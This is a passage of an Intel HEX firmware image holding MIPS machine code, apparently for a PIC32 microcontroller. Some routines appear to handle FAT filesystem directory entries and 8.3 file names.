ab0001800c28fffff43301400c28f140043a43c\n:10cac0002000c2273000c48f21284000182f400fbb\n:10cad0000000000021184000010002240300621041\n:10cae00000000000090002241000c2af1000c28f35\n:10caf00021e8c0032c00bf8f2800be8f3000bd2767\n:10cb00000800e00300000000d8ffbd272400bfafed\n:10cb10002000beaf21f0a0032800c4af2c00c5af99\n:10cb2000010002241000c2a31300c0a32c00c28f76\n:10cb3000000042941400c2a72800c28f3c00438c1e\n:10cb40002800c28f400043ac2800c48f2c00c58f42\n:10cb500001000624e72f400f000000001800c2afbc\n:10cb60001800c28f9b004010000000002800c28ff8\n:10cb7000340042942a004010000000002800c28fb8\n:10cb800034004294108182a710818497c44e023ce5\n:10cb90004fec42341900820010100000822802007d\n:10cba0002118a0008010030021184000801003000d\n:10cbb000231043002110450023108200ffff423064\n:10cbc0001300c2a310818397c44e023c4fec423441\n:10cbd000190062001010000082100200ffff4230b6\n:10cbe0001200c2a31300c29305004014000000000d\n:10cbf000108182970d00422c0400401000000000bc\n:10cc00001200c293010042241200c2a31200c29378\n:10cc1000010042241200c2a37133400b0000000047\n:10cc2000010002241200c2a37133400b0000000077\n:10cc30001100c0a32c00c28f000042941400c2a7b0\n:10cc40002800c48f2c00c58f21300000e72f400f33\n:10cc5000000000001800c2af1800c28f040040108e\n:10cc6000000000001800c28f000042801300c2a321\n:10cc70002c00c28f0000429401004224ffff433089\n:10cc80002c00c28f000043a41800c28f1000401077\n:10cc9000000000001300c393e500022404006210aa\n:10cca000000000001300c2930900401400000000bf\n:10ccb0001100c293010042241100c2a31100c393ca\n:10ccc0001200c2932b106200ddff40140000000030\n:10ccd0001800c28f36004014000000002800c28fe8\n:10cce0004000428c1c00c2af2481828f1c00c38f85\n:10ccf0001d006214000000002800c28f0000428c5a\n:10cd0000240043900300022405006210000000008c\n:10cd1000020002241000c2a37133400b0000000087\n:10cd20002800c28f1c00c38f080043ac2800c48faa\n:10cd3000010005242f37400f00000000211840009b\n:10cd40001500022405006214000000000200022405\n:10cd50001000c2a37133400b000000001000c0a3fc\n:10cd60007133400b000000002800c28f1c00c38fed\n:10cd7000080043ac2800c48f010005242f37400f62\n:10cd80000000000021184000150002240500621474\n:10cd900000000000020002241000c2a37133400b07\n:10cda000000000001000c0a37133400b0000000021\n:10cdb0001100c3931200c29302006214000000002d\n:10cdc0001000c0a31000c3930100022498ff62105a\n:10cdd000000000002c00c28f1400c397000043a481\n:10cde0001000c29321e8c0032400bf8f2000be8f33\n:10cdf0002800bd270800e00300000000e0ffbd2779\n:10ce00001c00bfaf1800beaf21f0a0032000c4afcc\n:10ce10002400c5af2110c0002800c2a31000c0a389\n:10ce20002000c28f3c00438c2000c28f400043ace6\n:10ce30002000c48f2400c58f01000624e72f400f77\n:10ce4000000000001400c2af1400c28f04004014a0\n:10ce5000000000001b000224e833400b000000002b\n:10ce60001400c38f2000c28f2000422421206000c4\n:10ce7000212840000b0006245855410f00000000f7\n:10ce80002800c39312000224060062140000000070\n:10ce90001400c28f100003240b0043a0ac33400bde\n:10cea000000000001400c28f200003240b0043a0e8\n:10ceb0001400c28f0c0040a01400c28f140040a4c4\n:10cec0001400c28f1a0040a41400c28f1c0040ac92\n:10ced0006d36400f00000000128183931400c28f52\n:10cee0000d0043a0288183971400c28f0e0043a435\n:10cef000368183971400c28f100043a4308183973a\n:10cf00001400c28f120043a42e8183971400c28f95\n:10cf1000160043a4328183971400c28f180043a4e3\n:10cf20001400c28f1c00438c2000c28f140043ac3d\n:10cf30001400c28f0e0043942000c28f1c0043a433\n:10cf40001400c28f100043942000c28f1e0043a41f\n:10cf50001400c28f0b004290211840002000c28fa5\n:10cf60003a0043a42400c28f000043942000c28fe3\n:10cf7000360043a42000c48f2400c58f182f400f13\n:10cf8000000000002118400001000224030062108c\n:10cf900000000000090002241000c2a31000c29388\n:10cfa00021e8c0031c00bf8f1800be8f2000bd27e2\n:10cfb0000800e0030000000040ffbd27bc00bfaf39\n:10cfc000b800beaf21f0a003c000c4af1c00c0afca\n:10cfd0002800c22721204000c000c58f403e400fde\n:10cfe000000000002800c227200042242000c2af19\n:10cff0005800c28f2400c2afc000c28f34004294d8\n:10d00000108182a71600c0a70c34400b000000005e\n:10d010001600c2872000c38f211062002000032465\n:10d02000000043a01600c287010042241600c2a7d8\n:10d030001600c2870b004228f5ff401400000000d4\n:10d0400010818297ffff4224ffff42301400c2a7e5\n:10d050002334400b000000001400c287401002007f\n:10d060002400c38f21106200000043942e0002248c\n:10d0700003006214000000002634400b0000000092\n:10d080001400c287ffff42241400c2a71400c28705\n:10d09000f1ff401c000000001400c2970100422470\n:10d0a000ffff42301600c2a71a00c0a31400c287b7\n:10d0b0006900401000000000080002241800c2a708\n:10d0c0008834400b000000001600c28740100200a8\n:10d0d0002400c38f21106200000042941b00c2a3f1\n:10d0e0001b00c2936100422c11004014000000009c\n:10d0f0001b00c2937b00422c0d004010000000007a\n:10d100001800c287010043241800c3a72000c38f62\n:10d11000211062001b00c393e0ff6324ff00633013\n:10d12000201c037c000043a08234400b0000000060\n:10d130001b00c393200002240300621400000000bf\n:10d140008534400b000000001b00c3932b00022419\n:10d150001d006210000000001b00c3932c0002247d\n:10d1600019006210000000001b00c3933b00022462\n:10d1700015006210000000001b00c3933d00022454\n:10d1800011006210000000001b00c3935b0002242a\n:10d190000d006210000000001b00c3935d0002241c\n:10d1a00009006210000000001600c2874010020053\n:10d1b0002400c38f21106200000042940001422c21\n:10d1c0000a004014000000001800c2870100432438\n:10d1d0001800c3a72000c38f211062005f00032442\n:10d1e000000043a08234400b000000001800c287fa\n:10d1f000010043241800c3a72000c38f2110620040\n:10d200001b00c383000043a01a00c2930100422404\n:10d210001a00c2a31600c287010042241600c2a74a\n:10d220001600c387108182972a1062000500401003\n:10d23000000000001a00c2930300422ca2ff401419\n:10d24000000000001400c2971800c2a71a00c0a373\n:10d250009834400b00000000108182971800c2a78c\n:10d260001600c0a7eb34400b000000001600c28778\n:10d27000401002002400c38f21106200000042947d\n:10d280001b00c2a31b00c2936100422c0f0040147c\n:10d29000000000001b00c2937b00422c0b004010da\n:10d2a000000000001a00c2932000c38f211062000a\n:10d2b0001b00c393e0ff6324ff006330201c037c4a\n:10d2c000000043a0e534400b000000001b00c393a6\n:10d2d000200002240300621400000000e834400b28\n:10d2e000000000001b00c3932b0002241d006210ed\n:10d2f000000000001b00c3932c00022419006210e0\n:10d30000000000001b00c3933b00022415006210c4\n:10d31000000000001b00c3933d00022411006210b6\n:10d32000000000001b00c3935b0002240d0062108c\n:10d33000000000001b00c3935d000224090062107e\n:10d34000000000001600c287401002002400c38fb6\n:10d3500021106200000042940001422c0800401499\n:10d36000000000001a00c2932000c38f2110620049\n:10d370005f000324000043a0e534400b00000000e0\n:10d380001a00c2932000c38f211062001b00c383c8\n:10d39000000043a01a00c293010042241a00c2a355\n:10d3a0001600c287010042241600c2a71600c387d8\n:10d3b0001800c2872a10620005004010000000001b\n:10d3c0001a00c2930600422ca8ff4014000000007f\n:10d3d0001a00c2932000c38f211062007e00032434\n:10d3e000000043a01a00c293010042242000c38f12\n:10d3f0002110620031000324000043a02000022419\n:10d400006200c2a75c00c0a7010002241000c2afe6\n:10d410006036400b000000002c00c0af3000c0aff1\n:10d420005e00c0a70c80828f3c00428c6400c2afbb\n:10d430000c80828f4000428c6800c2af6c00c32712\n:10d440002800c2272120600021284000403e400fd4\n:10d45000000000006c00c3272800c22721206000c4\n:10d46000212840000100062421380000db1b400f6a\n:10d470000000000026014014000000001000c38fcf\n:10d48000cccc023ccdcc423419006200101000001c\n:10d49000c21002004010020080200200211044004f\n:10d4a00023106200ff00423030004224ff0042306f\n:10d4b0002014027cb700c2a31000c38feb51023cc2\n:10d4c0001f85423419006200101000004211020052\n:10d4d0008010020080200200211044008020020001\n:10d4e0002110440023106200cccc033ccdcc63342b\n:10d4f0001900430010100000c2100200ff0042306b\n:10d5000030004224ff0042302014027cb600c2a347\n:10d510001000c58f6210023cd34d42341900a200a6\n:10d520001010000082190200212060008010040009\n:10d53000212040004011040023104400211043002a\n:10d54000c01002002318a200eb51023c1f85423498\n:10d55000190062001010000042110200ff0042306a\n:10d5600030004224ff0042302014027cb500c2a3e8\n:10d570001000c58fb7d1023c591742341900a200e0\n:10d5800010100000421b02002120600080100400e7\n:10d5900021204000401104002310440021104300ca\n:10d5a0008018020021104300001102002318a2007d\n:10d5b0006210023cd34d423419006200101000008a\n:10d5c00082110200ff00423030004224ff0042304e\n:10d5d0002014027cb400c2a31000c58f42190500bc\n:10d5e0007c0a023cc55a4234190062001010000047\n:10d5f000c219020021206000801004002120400098\n:10d600004011040023104400211043008018020040\n:10d610002110430080180200211043004011020035\n:10d620002318a200b7d1023c5917423419006200f6\n:10d630001010000042130200ff004230300042246c\n:10d64000ff0042302014027cb300c2a31000c58f3b\n:10d650001b43023c83de42341900a200101000007c\n:10d66000821c020021106000c01002004021020054\n:10d670002320820080110400231044002110430065\n:10d68000801102002318a200421903007c0a023c08\n:10d69000c55a42341900620010100000c211020085\n:10d6a000ff00423030004224ff0042302014027c50\n:10d6b000b200c2a31000c58f5f6b023c6bca42343c\n:10d6c0001900a20010100000821d0200211060004d\n:10d6d000c0100200402102002320820080110400bb\n:10d6e0002310440021104300801802002110430041\n:10d6f000c01102002318a2001b43023c83de423407\n:10d70000190062001010000082140200ff00423075\n:10d7100030004224ff0042302014027cb100c2a33a\n:10d72000b100c38330000224060062100000000034\n:10d730001b00c0a37e000224b000c2a31736400b1a\n:10d7400000000000060002241b00c2a31436400b98\n:10d75000000000001b00c2931000c32721106200cc\n:10d76000a000438030000224360062140000000054\n:10d770001b00c293ffff42241000c3272110620048\n:10d78000a0004380300002242e006214000000003c\n:10d790001b00c2931000c327211062007e000324e7\n:10d7a000a00043a05400c28f2400401400000000d9\n:10d7b0001b00c29301004230ff0042301f004010a6\n:10d7c000000000001b00c293ffff4230ffff422415\n:10d7d000ffff42301800c2a70436400b00000000d3\n:10d7e0001800c2871800c387010063241000c427f3\n:10d7f00021188300a00063801000c427211082003c\n:10d80000a00043a01800c287010042241800c2a74c\n:10d810001800c28707004228f1ff401400000000f2\n:10d8200020000224b700c2a31b00c293ffff4224c2\n:10d830001b00c2a31736400b000000001736400b38\n:10d84000000000001b00c293ffff42241b00c2a384\n:10d850001b00c293bfff4014000000001b00c393d5\n:10d860001a00c2932b106200050040140000000053\n:10d870001a00c2931600c2a73136400b0000000008\n:10d880001b00c2931600c2a73136400b00000000f7\n:10d890001600c287010043241600c3a721204000c0\n:10d8a0001b00c293010043241b00c3a31000c32725\n:10d8b00021106200a00043801000c2272110440004\n:10d8c000380043a01b00c2930800422cf0ff401414\n:10d8d000000000003e36400b000000001600c2872a\n:10d8e000010043241600c3a71000c32721106200c3\n:10d8f00020000324380043a01600c28708004228f5\n:10d90000f6ff4014000000005d36400b00000000f0\n:10d91000c000c28f200042242000c2af1b00c0a361\n:10d920005536400b000000001b00c2932000c38f3f\n:10d93000211062001b00c3931000c427211883002c\n:10d9400038006380000043a01b00c2930100422402\n:10d950001b00c2a31b00c2930b00422cf2ff401419\n:10d9600000000000010002241c00c2af6636400b1c\n:10d97000000000001000c28f010042241000c2af5e\n:10d980001000c38f9800023c809642342b10620036\n:10d99000a1fe4014000000001c00c28f21e8c0035b\n:10d9a000bc00bf8fb800be8fc000bd270800e003d9\n:10d9b00000000000d8ffbd272400beaf21f0a00367\n:10d9c00080bf023c2002428c0400c2af80bf023cf8\n:10d9d0002002428c0800c2af0400c38f0800c28f2f\n:10d9e000f7ff62140000000080bf023c3002428c4e\n:10d9f0000c00c2af80bf023c3002428c1000c2afac\n:10da00000c00c38f1000c28ff7ff621400000000eb\n:10da10000c00c28f021602001400c2a70c00c28fb5\n:10da2000021202001600c2a70c00c28fffff423094\n:10da30000f004230ffff4230001202001800c2a760\n:10da40000400c28f02160200ffff43301800c29785\n:10da5000251062001800c2a70400c28f0212020043\n:10da60001a00c2a70000c0a71400c2970f004230de\n:10da7000ffff43300000c297211062000000c2a7e0\n:10da80001400c297f000423003110200ffff423041\n:10da9000401002008018020021104300ffff4330b5\n:10daa0000000c297211062000000c2a70000c297c8\n:10dab000140042240000c2a70000c29740120200d6\n:10dac0001c00c2a71600c29700104230050040108b\n:10dad000000000000a0002240000c2a7ba36400b72\n:10dae000000000000000c0a71600c297000f4230df\n:10daf00003120200ffff43300000c29721106200b2\n:10db00000000c2a70000c297401102000000c2a797\n:10db10001c00c3970000c297251062001c00c2a71a\n:10db20001600c297f0004230031102000000c2a7a5\n:10db30000000c2974010020080180200211043002c\n:10db40000000c2a71600c2970f004230ffff43300b\n:10db50000000c297211062000000c2a71c00c397fa\n:10db60000000c297251062001c00c2a71c00c297cb\n:10db7000368182a71c00c297328182a71c00c297ff\n:10db8000308182a71800c297f000423003110200d2\n:10db9000ffff4230401002008018020021104300b5\n:10dba0000000c2a71800c2970f004230ffff4330a9\n:10dbb0000000c297211062000000c2a70000c297b7\n:10dbc000c01202001c00c2a71a00c2970213020072\n:10dbd000ffff423040100200801802002110430075\n:10dbe0000000c2a71a00c297000f423003120200c1\n:10dbf000ffff43300000c297211062000000c2a75f\n:10dc00000000c29740110200201e027c1c00c28747\n:10dc1000251062002016027c1c00c2a71a00c297c1\n:10dc2000f000423003110200ffff423040100200ba\n:10dc300080180200211043000000c2a71a00c297fa\n:10dc40000f004230ffff43300000c29721106200f6\n:10dc50000000c2a70000c29701004230ffff42301f\n:10dc6000050040100000000064000224128182a31d\n:10dc70001f37400b00000000128180a30000c297f4\n:10dc8000421002000000c2a71c00c3970000c29708\n:10dc9000251062001c00c2a71c00c297288182a721\n:10dca0001c00c2972e8182a721e8c0032400be8fea\n:10dcb0002800bd270800e00300000000d8ffbd27b2\n:10dcc0002400bfaf2000beaf21f0a0032800c4afe6\n:10dcd0002110a0002c00c2a32800c28f0000428c9b\n:10dce0001000c2af2800c28f0800428c1400c2afdf\n:10dcf0002800c48f8437400f000000001400c2af1a\n:10dd00001400c28f0400401400000000150002241b\n:10dd10007e37400b000000001000c28f24004390ab\n:10dd20000100022409006214000000001000c48fea\n:10dd30001400c58ff80f062421380000c64a400f92\n:10dd4000000000006737400b000000001000c28f89\n:10dd50002400439002000224090062140000000025\n:10dd60001000c48f1400c58ff8ff0634213800005e\n:10dd7000c64a400f000000006737400b000000005b\n:10dd80001000c48f1400c58fff0f023cf8ff46340b\n:10dd900021380000c64a400f000000002800c28f52\n:10dda0000800428c1800c2af1000c48f1800c58f45\n:10ddb0001400c68f21380000c64a400f0000000042\n:10ddc0002800c28f1400c38f080043ac2c00c393fb\n:10ddd0000100022407006214000000001000c48f3c\n:10dde0001400c58fc63e400f000000007e37400b78\n:10ddf000000000002110000021e8c0032400bf8fb4\n:10de00002000be8f2800bd270800e00300000000ae\n:10de1000d0ffbd272c00bfaf2800beaf21f0a0036c\n:10de20003000c4af1c00c0af3000c28f0000428c75\n:10de30002000c2af3000c28f0800428c1000c2af79\n:10de40002000c28f24004290010003240c004310e4\n:10de500000000000030003240f0043140000000032\n:10de6000ff0f023cf7ff42341400c2afff0f023c29\n:10de7000ffff42341800c2afab37400b0000000078\n:10de8000f70f02241400c2afffff02341800c2af24\n:10de9000ab37400b00000000f7ff02341400c2afa4\n:10dea000ffff02341800c2af000000001000c28f54\n:10deb0000200422c03004010000000000200022477\n:10dec0001000c2af1000c28f2400c2af2000c48f68\n:10ded0001000c58f8f49400f00000000e437400b51\n:10dee000000000002000c48f1000c58f8f49400f34\n:10def000000000001c00c2af1c00c38f1800c28fbe\n:10df000004006214000000001000c0afe737400baf\n:10df1000000000001c00c28f03004014000000003d\n:10df2000e737400b000000001000c28f01004224c0\n:10df30001000c2af1c00c38f1400c28f0b00621010\n:10df4000000000002000c28f1900438821206000db\n:10df50001600449821108000020043241000c28f54\n:10df60002b104300030040140000000002000224b4\n:10df70001000c2af1000c38f2400c28f04006214cf\n:10df8000000000001000c0afe737400b00000000a9\n:10df90001000c28fd3ff4014000000001000c28f99\n:10dfa00021e8c0032c00bf8f2800be8f3000bd27a2\n:10dfb0000800e00300000000d8ffbd272400bfaf29\n:10dfc0002000beaf21f0a0032800c4af4800022407\n:10dfd0001400c2af348180a32800c28f360042945f\n:10dfe0001c00c2a72800c28f1800428c01004230da\n:10dff0005700401000000000448082930a00401047\n:10e00000000000003241400f0000000006004010f8\n:10e010000000000009000224348182a3ffff0224d3\n:10e020007a38400b000000002800c28f0000428cac\n:10e030002120400021280000213000000100072499\n:10e04000c64a400f00000000048080af2800c28f45\n:10e050000000438c2800c28f0800428c2120600001\n:10e06000212840008f49400f000000001c00c227fb\n:10e070002800c48f212840009139400f0000000083\n:10e080001800c2af1800c28f080040140000000042\n:10e090001b000224348182a3ffff02241400c2afbc\n:10e0a0001400c28f7a38400b000000006d36400f1c\n:10e0b000000000002e8183971800c28f160043a431\n:10e0c000328183971800c28f180043a42800c28fa2\n:10e0d0001400438c1800c28f1c0043ac2800c28f70\n:10e0e0003a004294ff0043301800c28f0b0043a057\n:10e0f0001c00c2272800c48f21284000182f400f81\n:10e10000000000000a004010000000001c00c227b0\n:10e110002800c48f212840009139400f00000000e2\n:10e120001800c2af1400c0af5038400b0000000010\n:10e1300009000224348182a3ffff02241400c2af2d\n:10e140002800c38f180062900400027c180062a0af\n:10e150002800c38f180062904408027c180062a057\n:10e160001000c0a76f38400b000000001000c297dd\n:10e1700080100200001902002110430000a0033c9f\n:10e18000c4106324211843002800c28f08006214c1\n:10e19000000000001000c397188182272110620040\n:10e1a00001000324000043a07338400b000000006e\n:10e1b0001000c297010042241000c2a71000c297ad\n:10e1c0000300422ce9ff4014000000002800c0af0b\n:10e1d0001400c38f480002240200621400000000f3\n:10e1e0001400c0af1400c28f21e8c0032400bf8f09\n:10e1f0002000be8f2800bd270800e00300000000bb\n:10e20000d8ffbd272400bfaf2000beaf21f0a00380\n:10e210002800c4af2c00c5af1600c0a32c00c28fcd\n:10e22000000042940f004230110040140000000032\n:10e230002c00c28f000042940d004010000000002e\n:10e240002800c28f3c00438c2800c28f400043aca2\n:10e250002800c48f2c00c58f01000624e72f400f33\n:10e26000000000001000c2afa238400b0000000008\n:10e270002800c48f2c00c58f21300000e72f400fed\n:10e28000000000001000c2af1000c28f0500401453\n:10e2900000000000020002241500c2a33139400b27\n:10e2a000000000001000c28f000042801700c2a3cf\n:10e2b0001700c393e500022405006214000000006b\n:10e2c000010002241500c2a33139400b00000000f8\n:10e2d0001700c29305004014000000000200022451\n:10e2e0001500c2a33139400b000000001000c28f9e\n:10e2f0000b0042901700c2a31400c0a3d538400bf6\n:10e30000000000001400c2931000c38f21106200af\n:10e31000000042801800c2a31800c29321204000d0\n:10e32000f858410f000000001800c2a31600c29365\n:10e33000010043241600c3a31800c3832800c48f20\n:10e3400021108200200043a01400c2930100422447\n:10e350001400c2a31400c2930800422ce9ff401429\n:10e36000000000001000c28f0b0042901700c2a3f3\n:10e370001000c28f080042801800c2a31400c0a37e\n:10e38000f638400b000000001400c2931000c38f49\n:10e3900021106200080042801800c2a31800c29336\n:10e3a00021204000f858410f000000001800c2a3cf\n:10e3b0001600c293010043241600c3a31800c383b0\n:10e3c0002800c48f21108200200043a01400c293b3\n:10e3d000010042241400c2a31400c2930300422c83\n:10e3e000e9ff4014000000002c00c28f000043949d\n:10e3f0002800c28f360043a41000c28f0000428064\n:10e400001700c2a31700c393e5000224050062149d\n:10e4100000000000010002241500c2a30a39400bcd\n:10e42000000000001500c0a31000c28f1c00438c28\n:10e430002800c28f140043ac1000c48f0227400f85\n:10e4400000000000211840002800c28f040043ace7\n:10e450001000c28f0b0042901700c2a31700c29396\n:10e46000ffff43302800c28f3a0043a41700c29335\n:10e47000100042300b004010000000001000c28f5e\n:10e480000e0043942800c28f1c0043a41000c28fca\n:10e49000100043942800c28f1e0043a43139400b62\n:10e4a000000000001000c28f160043942800c28fa5\n:10e4b0001c0043a41000c28f180043942800c28f90\n:10e4c0001e0043a41500c29321e8c0032400bf8f9f\n:10e4d0002000be8f2800bd270800e00300000000d8\n:10e4e000d0ffbd272c00bfaf2800beaf21f0a00396\n:10e4f0003000c4af3400c5af3800c6af3800c28f9b\n:10e50000000042940f00423011004014000000004f\n:10e510003800c28f000042940d004010000000003f\n:10e520003000c28f3c00438c3000c28f400043acaf\n:10e530003000c48f3800c58f01000624e72f400f3c\n:10e54000000000001000c2af5a39400b000000006c\n:10e550003000c48f3800c58f21300000e72f400ff6\n:10e56000000000001000c2af1000c28f0500401470\n:10e5700000000000020002242000c2a38a39400be0\n:10e58000000000001000c28f000042801400c2a3ef\n:10e590001400c393e500022405006214000000008b\n:10e5a000010002242000c2a38a39400b00000000b1\n:10e5b0001400c29305004014000000000200022471\n:10e5c0002000c2a38a39400b000000002000c0a335\n:10e5d0003400c28f1c00c2af1000c28f1800c2af3f\n:10e5e0001400c0a38639400b000000001c00c28f3d\n:10e5f000010043241c00c3af1800c38f0100642432\n:10e600001800c4af00006390000043a01400c29340\n:10e61000010042241400c2a31400c2932000422c23\n:10e62000f2ff4014000000002000c29321e8c00364\n:10e630002c00bf8f2800be8f3000bd270800e003ec\n:10e6400000000000e0ffbd271c00bfaf1800beaff8\n:10e6500021f0a0032000c4af2400c5af2000c28f6a\n:10e660003c00438c2000c28f400043ac2000c48f8c\n:10e670002400c58f01000624e72f400f0000000092\n:10e680001000c2af1000c28f040040140000000050\n:10e6900021100000d739400b000000001000c28f8d\n:10e6a000000042801400c2a31400c2930200401470\n:10e6b000000000001000c0af1000c28f2600401004\n:10e6c000000000001400c393e5000224040062145b\n:10e6d000000000001000c0afd639400b0000000061\n:10e6e0001000c28f0b0042901400c2a3d239400b1d\n:10e6f000000000002400c28f000042940100422468\n:10e70000ffff43302400c28f000043a42000c48fc9\n:10e710002400c58f21300000e72f400f00000000cb\n:10e720001000c2af1000c28f0400401400000000af\n:10e7300021100000d739400b000000001000c28fec\n:10e740000b0042901400c2a31400c3930f000224d4\n:10e75000e8ff6210000000001000c28f21e8c00333\n:10e760001c00bf8f1800be8f2000bd270800e003eb\n:10e7700000000000c8ffbd273400bfaf3000beafaf\n:10e7800021f0a0033800c4af3c00c5af2110c00089\n:10e790004000c2a31000c0af1400c0af01000224ab\n:10e7a0001c00c2af3800c28f0000428c2000c2aff4\n:10e7b0003800c28f34004294108182a71081829762\n:10e7c000290040100000000010818497c44e023cd4\n:10e7d0004fec423419008200101000008228020021\n:10e7e0002118a000801003002118400080100300b1\n:10e7f000231043002110450023108200ffff423008\n:10e800002400c2a310818397c44e023c4fec4234d3\n:10e81000190062001010000082100200ffff423059\n:10e820001800c2a32400c293050040140000000099\n:10e83000108182970d00422c06004010000000005d\n:10e840001800c293020042241800c2a31c3a400bd5\n:10e85000000000001800c293010042241800c2a367\n:10e860001c3a400b00000000010002241800c2a363\n:10e8700001000224348182a35c3a400b00000000b6\n:10e880003800c28f3c00438c3800c28f400043ac3c\n:10e890003800c48f3c00c58f01000624e72f400fcd\n:10e8a000000000002800c2af2800c28f04004014fe\n:10e8b000000000001b000224763a400b000000001c\n:10e8c0002800c28f000042802c00c2a32800c28f03\n:10e8d00008004010000000002c00c293050040100a\n:10e8e000000000002c00c393e50002240500621420\n:10e8f000000000000b0002241000c2af613a400b80\n:10e90000000000002800c28fe5ff0324000043a0a0\n:10e910003800c48f3c00c58f182f400f0000000046\n:10e920000500401400000000010002241000c2afe6\n:10e93000613a400b000000001c00c28f060040102e\n:10e94000000000002800c48f0227400f00000000d4\n:10e950001400c2af1c00c0af3c00c28f0000429444\n:10e96000ffff4224ffff43303c00c28f000043a45e\n:10e970001800c293ffff43241800c3a3c0ff401434\n:10e98000000000001000c28f1200401400000000c0\n:10e990002481828f1400c38f0b00621000000000de\n:10e9a0004000c29308004010000000001400c48f13\n:10e9b0002000c58f742f400f000000000100422c82\n:10e9c000ff0042301000c2af1000c28fff00423083\n:10e9d000348182a31000c28f21e8c0033400bf8fae\n:10e9e0003000be8f3800bd270800e00300000000a3\n:10e9f00050ffbd27ac00bfafa800beaf21f0a00301\n:10ea0000b000c4afb400c5af348180a3d8d8400fe4\n:10ea10000000000006004010000000001800022462\n:10ea2000348182a3ffff02240b3b400b0000000057\n:10ea30001c00c22721204000b400c58f403e400f7b\n:10ea4000000000001c00c227b000c48f2128400035\n:10ea5000213000004e42400f00000000060040142c\n:10ea60000000000012000224348182a3ffff022470\n:10ea70000b3b400b000000005200c0a70c80828faf\n:10ea80003c00428c5800c2af0c80828f4000428c08\n:10ea90005c00c2af6000c3271c00c22721206000b9\n:10eaa00021284000403e400f000000006000c327c6\n:10eab0001c00c227212060002128400001000624fc\n:10eac00021380000db1b400f00000000211840002f\n:10ead0000b0002245200621400000000b400c28f38\n:10eae000360042941800c2a71800c227b400c48f91\n:10eaf0002128400021300000dd39400f00000000d7\n:10eb0000060040100000000001000224348182a3ae\n:10eb1000ffff02240b3b400b000000005600c29791\n:10eb2000ff0042301c00c4271800c32721286000c2\n:10eb30002130400021380000e630400f0000000086\n:10eb4000ff004230348182a31c00c3271800c22773\n:10eb500021206000212840009139400f0000000072\n:10eb60001000c2afb400c28f0400428cffff4330dc\n:10eb70001000c28f1a0043a4b400c28f0400438c5b\n:10eb8000ff0f023c241062001400c2af1400c28fb9\n:10eb9000021402001400c2af1400c28fffff433002\n:10eba0001000c28f140043a4b400c28f1400438c21\n:10ebb0001000c28f1c0043ac1c00c3271800c227e2\n:10ebc0002120600021284000182f400f0000000085\n:10ebd000211840000100022406006210000000001d\n:10ebe00009000224348182a3ffff02240b3b400b67\n:10ebf00000000000b400c28f1400428c3000c2af8d\n:10ec00001c00c227b400c48f21284000403e400fa2\n:10ec100000000000211000000b3b400b0000000032\n:10ec200011000224348182a3ffff022421e8c003e3\n:10ec3000ac00bf8fa800be8fb000bd270800e00366\n:10ec400000000000e0ffbd271c00bfaf1800beaff2\n:10ec500021f0a0032000c4af2400c5af01000224ae\n:10ec6000488082af2000c48f2400c58f7c3a400fbb\n:10ec7000000000001000c2af488080af1000c28fbb\n:10ec800021e8c0031c00bf8f1800be8f2000bd27e5\n:10ec90000800e00300000000e0ffbd271c00bfaf3c\n:10eca0001800beaf21f0a0032000c4af2400c5af00\n:10ecb00001000224488082af2000c48f2400c58f49\n:10ecc0003b3b400f000000001000c2af488080af07\n:10ecd0001000c28f21e8c0031c00bf8f1800be8f38\n:10ece0002000bd270800e00300000000d8ffbd277a\n:10ecf0002400bfaf2000beaf21f0a0032800c4afa6\n:10ed00002c00c5af2c00c28f000042801c00c2a3a3\n:10ed1000d8d8400f000000000e0040100000000096\n:10ed20001c00c393720002240a006210000000005d\n:10ed30001c00c39352000224060062100000000071\n:10ed400018000224348182a321100000523d400ba0\n:10ed5000000000001000c0af1400c0af703b400bbb\n:10ed6000000000001400c38f188182272110620068\n:10ed7000000042900f004010000000001400c38ffc\n:10ed80001881822721106200000040a01400c28f69\n:10ed900080100200001902002110430000a0033c73\n:10eda000c4106324211043001000c2af743b400b19\n:10edb000000000001400c28f010042241400c2af02\n:10edc0001400c28f03004228e6ff40140000000038\n:10edd0001000c28f06004014000000002000022432\n:10ede000348182a321100000523d400b000000003e\n:10edf0001400c28f40100200001a020021104300cc\n:10ee000000a0033c500a6324211843001000c28f65\n:10ee1000300043ac2800c48f1000c58f21300000a3\n:10ee20004e42400f000000000b00401400000000a4\n:10ee30001400c38f1881822721106200010003246f\n:10ee4000000043a012000224348182a3211000009c\n:10ee5000523d400b000000001000c28f00a0033c98\n:10ee600058106324000043ac1000c28f040040ac73\n:10ee70001000c28f080040ac1000c28f360040a4c2\n:10ee80001000c28f200003243a0043a40c80828f1c\n:10ee90003c00438c1000c28f3c0043ac0c80828f3e\n:10eea0004000438c1000c28f400043ac00a0023ce5\n:10eeb000a01344241000c58f403e400f0000000006\n:10eec0001000c48f00a0023ca013452401000624ba\n:10eed00021380000db1b400f00000000330140140c\n:10eee000000000001c00c293bfff42243700432ce7\n:10eef000270160100000000080180200019d023c04\n:10ef000014ef4224211062000000428c08004000ef\n:10ef100000000000f0f0009d90f3009d90f3009d34\n:10ef200090f3009d90f3009d90f3009d90f3009d61\n:10ef300090f3009d90f3009d90f3009d90f3009d51\n:10ef400090f3009d90f3009d90f3009d90f3009d41\n:10ef500090f3009d90f3009df0f2009d90f3009dd2\n:10ef600090f3009d90f3009d90f3009df0ef009dc5\n:10ef700090f3009d90f3009d90f3009d90f3009d11\n:10ef800090f3009d90f3009d90f3009d90f3009d01\n:10ef900090f3009df0f0009d90f3009d90f3009d94\n:10efa00090f3009d90f3009d90f3009d90f3009de1\n:10efb00090f3009d90f3009d90f3009d90f3009dd1\n:10efc00090f3009d90f3009d90f3009d90f3009dc1\n:10efd00090f3009d90f3009df0f2009d90f3009d52\n:10efe00090f3009d90f3009d90f3009df0ef009d45\n:10eff0001000c28f360042941e00c2a71e00c22716\n:10f000001000c48f2128400001000624dd39400f84\n:10f01000000000001800c2af1800c28f3200401478\n:10f02000000000001e00c2271000c48f21284000ed\n:10f030002130000001000724e630400f00000000ee\n:10f040001800c2af1800c28f270040140000000053\n:10f050001e00c2271000c48f21284000770006241c\n:10f06000a622400f000000001800c2af1000c28f9f\n:10f070003a004294100042300500401000000000a9\n:10f080001f000224348182a3ff0002241800c2afb3\n:10f090001800c28f14004014000000001000c48f3c\n:10f0a00021280000020006249a48400f00000000ba\n:10f0b0001800c2af2c00c28f010042240000438020\n:10f0c0002b00022408006214000000001000c38f0f\n:10f0d00018006290010004244408827c180062a099\n:10f0e000e93c400b00000000e93c400b0000000040\n:10f0f0001000c28f1400428c380040100000000045\n:10f100001000c28f360042941e00c2a71e00c22704\n:10f110001000c48f2128400077000624a622400f4b\n:10f12000000000001800c2af1000c28f3a004294e5\n:1